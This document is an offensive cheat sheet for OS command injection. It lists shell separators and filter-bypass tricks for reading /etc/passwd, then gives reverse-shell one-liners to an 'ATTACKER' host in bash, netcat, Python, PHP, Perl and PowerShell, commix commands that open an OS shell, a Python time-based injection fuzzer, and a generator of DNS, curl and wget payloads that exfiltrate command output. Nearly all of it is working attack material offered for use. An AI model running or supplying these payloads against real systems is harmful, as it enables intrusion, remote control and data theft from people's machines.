OS Command Injection

# Unix/Linux Separators
;       # Sequential - runs regardless of previous command
|       # Pipe - passes output to next command
||      # OR - runs if previous command FAILS
&       # Background - runs in background
&&      # AND - runs if previous command SUCCEEDS
$(cmd)  # Command substitution - inline execution
`cmd`   # Backtick substitution (legacy)

# Newline as separator
%0a     # URL encoded newline
%0d%0a  # CRLF

# Windows Separators
&       # Sequential execution
&&      # AND - runs if previous succeeds
||      # OR - runs if previous fails  
|       # Pipe output
%0a     # Newline

# Using $IFS (Internal Field Separator)
cat$IFS/etc/passwd
cat$IFS$9/etc/passwd
ls$IFS-la

# Using tab character
cat%09/etc/passwd
cat\t/etc/passwd

# Using brace expansion
{cat,/etc/passwd}
{ls,-la}

# Input redirection
cat</etc/passwd
cat<>/etc/passwd

# Windows
type%09C:\Windows\win.ini
dir;C:\

# String concatenation (quotes)
c'a't /etc/passwd
c"a"t /etc/passwd
wh'oa'mi
wh"oa"mi

# Backslash insertion
ca\t /etc/passwd
who\ami

# Variable insertion
c$()at /etc/passwd
ca$@t /etc/passwd

# Hex encoding
$(printf '\x63\x61\x74') /etc/passwd  # cat

# Base64 execution
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
echo d2hvYW1p | base64 -d | sh

# Environment variables
$SHELL -c 'cat /etc/passwd'
/???/??t /etc/passwd   # Wildcards for /bin/cat

# If 'cat' is blocked
tac /etc/passwd      # Reverse cat
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
nl /etc/passwd       # Line numbers
sort /etc/passwd
uniq /etc/passwd
awk '{print}' /etc/passwd
sed '' /etc/passwd
grep . /etc/passwd

# If 'ls' is blocked
dir                  # Directory listing
find . -maxdepth 1
echo *
printf '%s\n' *

# If '/' is blocked
${HOME:0:1}etc${HOME:0:1}passwd  # Bash substring

# Bash TCP
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Netcat variants
nc -e /bin/bash ATTACKER 4444
nc -c bash ATTACKER 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$s=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"

# Basic scan
commix -u "http://target.com/page?param=test"

# POST request
commix -u "http://target.com/page" --data="param=test"

# With cookies/authentication
commix -u "http://target.com/page?param=test" --cookie="session=abc123"

# Specify technique
commix -u "http://target.com/page?param=test" --technique=t  # Time-based
commix -u "http://target.com/page?param=test" --technique=f  # File-based

# OS shell
commix -u "http://target.com/page?param=test" --os-shell

# Skip prompts
commix -u "http://target.com/page?param=test" --batch

#!/usr/bin/env python3
"""
Command Injection Fuzzer
Tests multiple separators and payloads against a target parameter
"""
import requests
import sys
import time
from urllib.parse import quote

# Payload templates - use .format(cmd=...) to substitute command
PAYLOADS = [
    # Unix separators
    "; {0}",
    "| {0}",
    "|| {0}",
    "& {0}",
    "&& {0}",
    "\n{0}",
    "$({0})",
    "\`{0}\`",
    
    # URL encoded variants
    "%3b {0}",           # ;
    "%7c {0}",           # |
    "%26 {0}",           # &
    "%0a{0}",            # newline
    
    # Windows
    "& {0}",
    "| {0}",
    "%0d%0a{0}",         # CRLF
]

def test_injection(url, param, method='GET', cookies=None):
    """Test for command injection vulnerabilities"""
    print(f"[*] Testing {url} parameter: {param}")
    print(f"[*] Method: {method}")
    
    # Time-based detection command
    sleep_cmd = "sleep 5" if method == 'GET' else "ping -c 5 127.0.0.1"
    
    for payload_template in PAYLOADS:
        payload = payload_template.format(sleep_cmd)
        
        try:
            start_time = time.time()
            
            if method == 'GET':
                response = requests.get(
                    url, 
                    params={param: f"test{payload}"},
                    cookies=cookies,
                    timeout=15
                )
            else:
                response = requests.post(
                    url,
                    data={param: f"test{payload}"},
                    cookies=cookies,
                    timeout=15
                )
            
            elapsed = time.time() - start_time
            
            # Check for time-based response (5+ second delay indicates success)
            if elapsed >= 4.5:
                print(f"[+] VULNERABLE! Payload: {repr(payload)}")
                print(f"    Response time: {elapsed:.2f}s")
                return payload_template
                
        except requests.exceptions.Timeout:
            print(f"[+] VULNERABLE (timeout)! Payload: {repr(payload)}")
            return payload_template
        except Exception as e:
            print(f"[-] Error with payload {repr(payload)}: {e}")
    
    print("[-] No time-based injection found")
    return None

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <url> <param> [method]")
        print(f"Example: {sys.argv[0]} 'http://target.com/ping' 'ip' POST")
        sys.exit(1)
    
    url = sys.argv[1]
    param = sys.argv[2]
    method = sys.argv[3] if len(sys.argv) > 3 else 'GET'
    
    test_injection(url, param, method.upper())

#!/usr/bin/env python3
"""
Generate OOB exfiltration payloads for command injection
Exfiltrates data via DNS to interactsh/Burp Collaborator
"""
import base64
import sys

def generate_oob_payloads(collaborator_domain, data_command):
    """Generate OOB exfiltration payloads"""
    
    payloads = [
        ("DNS (Unix)", f"nslookup $({data_command} | base64 | head -c 60).{collaborator_domain}"),
        ("DNS (backticks)", f"nslookup \`{data_command} | base64 | head -c 60\`.{collaborator_domain}"),
        ("DNS (Windows)", f"nslookup %username%.{collaborator_domain}"),
        ("HTTP (curl)", f"curl http://{collaborator_domain}/?d=$({data_command} | base64)"),
        ("HTTP (wget)", f"wget http://{collaborator_domain}/?d=$({data_command} | base64)"),
    ]
    
    print(f"[*] OOB Payloads for: {collaborator_domain}")
    print(f"[*] Data command: {data_command}")
    print("-" * 60)
    
    for name, payload in payloads:
        print(f"\n{name}:")
        print(f"  {payload}")
    
    # Separator variants
    print("\n" + "=" * 60)
    print("[*] With separators (prepend to your input):")
    separators = ["; ", "| ", "|| ", "&& ", "\n", "%0a"]
    
    for sep in separators:
        print(f"  {sep}{payloads[0][1]}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <collaborator_domain> [command]")
        print(f"Example: {sys.argv[0]} abc123.oast.fun whoami")
        sys.exit(1)
    
    domain = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami"
    
    generate_oob_payloads(domain, cmd)